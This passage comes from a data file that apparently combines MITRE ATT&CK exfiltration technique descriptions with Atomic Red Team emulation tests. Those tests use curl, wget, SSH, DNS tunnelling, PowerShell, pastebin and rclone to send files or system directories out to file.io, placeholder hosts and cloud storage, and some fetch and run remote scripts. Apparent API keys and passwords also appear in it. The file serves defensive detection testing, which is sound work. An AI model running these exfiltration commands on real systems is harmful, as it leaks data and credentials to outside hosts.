C:\temp\T1020__FTP_sample.txt ftpServer: description: FTP server URL. type: Url default: ftp://example.com credentials: description: FTP server credentials. type: String default: "[user:password]" executor: name: powershell elevation_required: false command: | $sampleData = "Sample data for exfiltration test" Set-Content -Path "#{sampleFile}" -Value $sampleData $ftpUrl = "#{ftpServer}" $creds = Get-Credential -Credential "#{credentials}" Invoke-WebRequest -Uri $ftpUrl -Method Put -InFile "#{sampleFile}" -Credential $creds cleanup_command: 'Remove-Item -Path "#{sampleFile}" -ErrorAction Ignore ' T1048.001: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c type: attack-pattern created: '2020-03-15T15:30:42.378Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1048.001 url: https://attack.mitre.org/techniques/T1048/001 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 modified: '2021-04-29T14:49:39.188Z' name: Exfiltration Over Symmetric Encrypted Non-C2 Protocol description: "Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_detection: "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) \n\nArtifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. " x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Network Traffic: Network Traffic Content' - 'Command: Command Execution' - 'File: File Access' - 'Network Traffic: Network Connection Creation' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1020.001: technique: modified: '2023-04-14T23:23:30.327Z' name: Traffic Duplication description: |- Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. Traffic mirroring is a native feature for some devices, often used for network analysis. For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring) Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) Many cloud-based environments also support traffic mirroring. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_deprecated: false x_mitre_detection: 'Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. ' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Network - IaaS x_mitre_version: '1.2' x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Flow' x_mitre_network_requirements: false type: attack-pattern id: attack-pattern--7c46b364-8496-4234-8a56-f7e6727e21e1 created: '2020-10-19T13:40:11.118Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1020/001 external_id: T1020.001 - source_name: AWS Traffic Mirroring description: Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022. url: https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html - source_name: Cisco Traffic Mirroring description: Cisco. (n.d.). Cisco IOS XR Interface and Hardware Component Configuration Guide for the Cisco CRS Router, Release 5.1.x. Retrieved October 19, 2020. url: https://www.cisco.com/c/en/us/td/docs/routers/crs/software/crs_r5-1/interfaces/configuration/guide/hc51xcrsbook/hc51span.html - source_name: GCP Packet Mirroring description: Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022. url: https://cloud.google.com/vpc/docs/packet-mirroring - source_name: Juniper Traffic Mirroring description: Juniper. (n.d.). Understanding Port Mirroring on EX2200, EX3200, EX3300, EX4200, EX4500, EX4550, EX6200, and EX8200 Series Switches. Retrieved October 19, 2020. url: https://www.juniper.net/documentation/en_US/junos/topics/concept/port-mirroring-ex-series.html - source_name: Azure Virtual Network TAP description: Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022. url: https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview - source_name: Cisco Blog Legacy Device Attacks description: Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020. url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954 - source_name: US-CERT-TA18-106A description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020. url: https://www.us-cert.gov/ncas/alerts/TA18-106A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1567.001: technique: modified: '2023-09-15T19:08:16.882Z' name: Exfiltration to Code Repository description: "Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_deprecated: false x_mitre_detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Command: Command Execution' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' - 'File: File Access' type: attack-pattern id: attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7 created: '2020-03-09T14:51:11.772Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1567/001 external_id: T1567.001 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1048.002: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - William Cain object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5 type: attack-pattern created: '2020-03-15T15:34:30.767Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1048.002 url: https://attack.mitre.org/techniques/T1048/002 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 modified: '2022-04-25T14:00:00.188Z' name: Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol description: "Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) ' x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Traffic Flow' - 'Command: Command Execution' - 'File: File Access' - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Content' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1048.002 atomic_tests: - name: Exfiltrate data HTTPS using curl windows auto_generated_guid: 1cdf2fb0-51b6-4fd8-96af-77020d5f1bf0 description: 'Exfiltrate data HTTPS using curl to file share site file.io ' supported_platforms: - windows input_arguments: input_file: description: Test file to upload type: path default: PathToAtomicsFolder/T1048.002/src/artifact curl_path: description: path to curl.exe type: path default: C:\Windows\System32\Curl.exe dependency_executor_name: powershell dependencies: - description: 'Curl must be installed on system. ' prereq_command: 'if (Test-Path #{curl_path}) {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://curl.se/windows/dl-8.4.0_6/curl-8.4.0_6-win64-mingw.zip" -Outfile "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\curl.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\curl" Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\curl\curl-8.4.0_6-win64-mingw\bin\curl.exe" C:\Windows\System32\Curl.exe - description: "#{input_file} must be exist on system.\n" prereq_command: 'if (Test-Path "#{input_file}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{input_file}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1048.002/src/artifact" -OutFile "#{input_file}" executor: name: command_prompt elevation_required: false command: '#{curl_path} -k -F "file=@#{input_file}" https://file.io/ ' - name: Exfiltrate data HTTPS using curl freebsd,linux or macos auto_generated_guid: 4a4f31e2-46ea-4c26-ad89-f09ad1d5fe01 description: 'Exfiltrate data HTTPS using curl to file share site file.io ' supported_platforms: - macos - linux input_arguments: input_file: description: Test file to upload type: path default: PathToAtomicsFolder/T1048.002/src/artifact executor: name: bash elevation_required: false command: 'curl -F ''file=@#{input_file}'' -F ''maxDownloads=1'' -F ''autoDelete=true'' https://file.io/ ' - name: Exfiltrate data in a file over HTTPS using wget auto_generated_guid: 7ccdfcfa-6707-46bc-b812-007ab6ff951c description: 'Exfiltrate data over HTTPS using wget --post-file method ' supported_platforms: - linux input_arguments: input_file: description: Test data to upload type: path default: PathToAtomicsFolder/T1048.002/src/artifact endpoint_domain: description: Endpoint to send data to type: string default: https://example.com/ executor: name: sh elevation_required: false command: 'wget --post-file="#{input_file}" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after ' - name: Exfiltrate data as text over HTTPS using wget auto_generated_guid: 8bec51da-7a6d-4346-b941-51eca448c4b0 description: 'Exfiltrate data over HTTPS using wget --post-data method ' supported_platforms: - linux input_arguments: endpoint_domain: description: Endpoint to send data to type: string default: https://example.com/ executor: name: sh elevation_required: false command: 'wget --post-data="msg=AtomicTestT1048.002" --timeout=5 --no-check-certificate #{endpoint_domain} --delete-after ' T1041: technique: modified: '2023-05-09T14:00:00.188Z' name: Exfiltration Over C2 Channel description: Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_contributors: - William Cain x_mitre_deprecated: false x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '2.2' x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Access' - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' x_mitre_network_requirements: false type: attack-pattern id: attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d created: '2017-05-31T21:30:41.804Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1041 external_id: T1041 - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1041 atomic_tests: - name: C2 Data Exfiltration auto_generated_guid: d1253f6e-c29b-49dc-b466-2147a6191932 description: 'Exfiltrates a file present on the victim machine to the C2 server. ' supported_platforms: - windows input_arguments: destination_url: description: Destination URL to post encoded data. type: string default: example.com filepath: description: The file which is being exfiltrated to the C2 Server. type: path default: "$env:TEMP\\LineNumbers.txt" executor: command: "if(-not (Test-Path #{filepath})){ \n 1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value \"This is line $_.\" }\n}\n[System.Net.ServicePointManager]::Expect100Continue = $false\n$filecontent = Get-Content -Path #{filepath}\nInvoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive\n" name: powershell - name: Text Based Data Exfiltration using DNS subdomains auto_generated_guid: c9207f3e-213d-4cc7-ad2a-7697a7237df9 description: 'Simulates an adversary using DNS tunneling to exfiltrate data over a Command and Control (C2) channel. ' supported_platforms: - windows input_arguments: dns_server: description: DNS server IP address or domain name. type: url default: dns.example.com exfiltrated_data: description: Data to be exfiltrated. type: string default: SecretDataToExfiltrate chunk_size: description: Size of each DNS query chunk (in characters). type: integer default: 63 executor: command: | $dnsServer = "#{dns_server}" $exfiltratedData = "#{exfiltrated_data}" $chunkSize = #{chunk_size} $encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData) $encodedData = [Convert]::ToBase64String($encodedData) $chunks = $encodedData -split "(.{$chunkSize})" foreach ($chunk in $chunks) { $dnsQuery = $chunk + "." + $dnsServer Resolve-DnsName -Name $dnsQuery Start-Sleep -Seconds 5 } name: powershell T1048: technique: modified: '2023-05-09T14:00:00.188Z' name: Exfiltration Over Alternative Protocol description: "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009)." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_contributors: - William Cain - Alfredo Abarca x_mitre_deprecated: false x_mitre_detection: 'Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - macOS - Windows - Office 365 - SaaS - IaaS - Google Workspace - Network x_mitre_version: '1.4' x_mitre_data_sources: - 'Cloud Storage: Cloud Storage Access' - 'Network Traffic: Network Traffic Flow' - 'Command: Command Execution' - 'Network Traffic: Network Traffic Content' - 'Application Log: Application Log Content' - 'File: File Access' - 'Network Traffic: Network Connection Creation' x_mitre_network_requirements: false type: attack-pattern id: attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776 created: '2017-05-31T21:30:44.720Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1048 external_id: T1048 - source_name: University of Birmingham C2 description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - source_name: Palo Alto OilRig Oct 2016 description: Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017. url: http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/ - source_name: 20 macOS Common Tools and Techniques description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021. url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1048 atomic_tests: - name: Exfiltration Over Alternative Protocol - SSH auto_generated_guid: f6786cc8-beda-4915-a4d6-ac2f193bb988 description: | Input a domain and test Exfiltration over SSH Remote to Local Upon successful execution, sh will spawn ssh contacting a remote domain (default: target.example.com) writing a tar.gz file. supported_platforms: - macos - linux input_arguments: domain: description: target SSH domain type: url default: target.example.com executor: command: 'ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz ' name: sh - name: Exfiltration Over Alternative Protocol - SSH auto_generated_guid: 7c3cb337-35ae-4d06-bf03-3032ed2ec268 description: | Input a domain and test Exfiltration over SSH Local to Remote Upon successful execution, tar will compress /Users/* directory and password protect the file modification of `Users.tar.gz.enc` as output. supported_platforms: - macos - linux input_arguments: user_name: description: username for domain type: string default: atomic password: description: password for user type: string default: atomic domain: description: target SSH domain type: url default: target.example.com executor: command: 'tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} ''cat > /Users.tar.gz.enc'' ' name: sh - name: DNSExfiltration (doh) auto_generated_guid: c943d285-ada3-45ca-b3aa-7cd6500c6a48 description: "DNSExfiltrator enables the transfer (exfiltration) of a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel.\n!!! Test will fail without a domain under your control with A record and NS record !!! \nSee this github page for more details - https://github.com/Arno0x/DNSExfiltrator\n" supported_platforms: - windows input_arguments: password: description: Password used to encrypt the data to be exfiltrated type: string default: atomic domain: description: The domain name to use for DNS requests type: string default: target.example.com ps_module: description: DNSExfiltrator powershell ps_module type: path default: PathToAtomicsFolder\..\ExternalPayloads\dnsexfil.ps1 doh: description: Google or CloudFlare DoH (DNS over HTTP) server type: string default: google time: description: The time in milliseconds to wait between each DNS request type: string default: '500' encoding: description: Set to '-b32' to use base32 encoding of data. Might be required by some DNS resolvers. type: string default: dependency_executor_name: powershell dependencies: - description: 'DNSExfiltrator powershell file must exist on disk at specified location (#{ps_module}) ' prereq_command: 'if (Test-Path "#{ps_module}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null IWR "https://raw.githubusercontent.com/Arno0x/DNSExfiltrator/8faa972408b0384416fffd5b4d42a7aa00526ca8/Invoke-DNSExfiltrator.ps1" -OutFile "#{ps_module}" executor: command: | Import-Module "#{ps_module}" Invoke-DNSExfiltrator -i "#{ps_module}" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding} name: powershell T1052.001: technique: x_mitre_platforms: - Linux - macOS - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - William Cain object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829 type: attack-pattern created: '2020-03-11T13:50:11.467Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1052.001 url: https://attack.mitre.org/techniques/T1052/001 modified: '2022-04-25T14:00:00.188Z' name: Exfiltration over USB description: Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_detection: Monitor file access on removable media. Detect processes that execute when removable media are mounted. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'Drive: Drive Creation' - 'File: File Access' - 'Command: Command Execution' x_mitre_system_requirements: - Presence of physical medium or device spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1567.003: technique: modified: '2023-05-04T18:00:33.023Z' name: 'Exfiltration Over Web Service: Exfiltration to Text Storage Sites' description: "Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as pastebin[.]com, are commonly used by developers to share code and other information. \n\nText storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)\n\n**Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_contributors: - Harun Küßner x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Traffic Flow' type: attack-pattern id: attack-pattern--ba04e672-da86-4e69-aa15-0eca5db25f43 created: '2023-02-27T22:51:27.101Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1567/003 external_id: T1567.003 - source_name: Pastebin EchoSec description: Ciarniello, A. (2019, September 24). What is Pastebin and Why Do Hackers Love It?. Retrieved April 11, 2023. url: https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1567.003 atomic_tests: - name: Exfiltrate data with HTTP POST to text storage sites - pastebin.com (Windows) auto_generated_guid: c2e8ab6e-431e-460a-a2aa-3bc6a32022e3 description: "This test uses HTTP POST to exfiltrate data to a remote text storage site. (pastebin) \nSee https://web.archive.org/web/20201107203304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it \ \n" supported_platforms: - windows input_arguments: api_key: description: Pastebin API key type: string default: 6nxrBm7UIJuaEuPOkH5Z8I7SvCLN3OP0 executor: command: | $apiKey = "#{api_key}" $content = "secrets, api keys, passwords..." $url = "https://pastebin.com/api/api_post.php" $postData = @{ api_dev_key = $apiKey api_option = "paste" api_paste_code = $content } $response = Invoke-RestMethod -Uri $url -Method Post -Body $postData Write-Host "Your paste URL: $response" name: powershell elevation_required: false T1567.002: technique: modified: '2023-09-15T19:11:47.547Z' name: 'Exfiltration Over Web Service: Exfiltration to Cloud Storage' description: "Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.\n\nExamples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: exfiltration x_mitre_deprecated: false x_mitre_detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.2' x_mitre_data_sources: - 'Network Traffic: Network Traffic Content' - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Flow' - 'File: File Access' - 'Command: Command Execution' type: attack-pattern id: attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b created: '2020-03-09T15:04:32.767Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1567/002 external_id: T1567.002 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1567.002 atomic_tests: - name: Exfiltrate data with rclone to cloud Storage - Mega (Windows) auto_generated_guid: 8529ee44-279a-4a19-80bf-b846a40dda58 description: | This test uses rclone to exfiltrate data to a remote cloud storage instance. (Mega) See https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/ supported_platforms: - windows input_arguments: rclone_path: description: Directory of rclone.exe type: path default: PathToAtomicsFolder\..\ExternalPayloads\T1567.002\rclone-v*\ rclone_config_path: description: Path to rclone's config file (default should be fine) type: path default: "$env:appdata" dir_to_copy: description: Directory to copy type: string default: PathToAtomicsFolder\..\ExternalPayloads\T1567.002 mega_user_account: description: Mega user account type: string default: atomictesting@outlook.com mega_user_password: description: Mega user password type: string default: vmcjt1A_LEMKEXXy0CKFoiFCEztpFLcZVNinHA remote_share: description: Remote Mega share type: string default: T1567002 dependency_executor_name: powershell dependencies: - description: 'rclone must exist at (#{rclone_path}) ' prereq_command: 'if (Test-Path "#{rclone_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://downloads.rclone.org/rclone-current-windows-amd64.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\rclone.zip" Expand-archive -path "PathToAtomicsFolder\..\ExternalPayloads\rclone.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\T1567.002\" -force executor: command: | New-Item #{rclone_config_path}\rclone -ItemType directory New-Item #{rclone_config_path}\rclone\rclone.conf cd "#{rclone_path}" .\rclone.exe config create #{remote_share} mega set-Content #{rclone_config_path}\rclone\rclone.conf "[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}" .\rclone.exe copy --max-size 1700k "#{dir_to_copy}" #{remote_share}:test -v cleanup_command: | cd "#{rclone_path}" .\rclone.exe purge #{remote_share}:test .\rclone.exe config delete #{remote_share}: Remove-Item #{rclone_config_path}\rclone -recurse -force -erroraction silentlycontinue cd c:\ Remove-Item 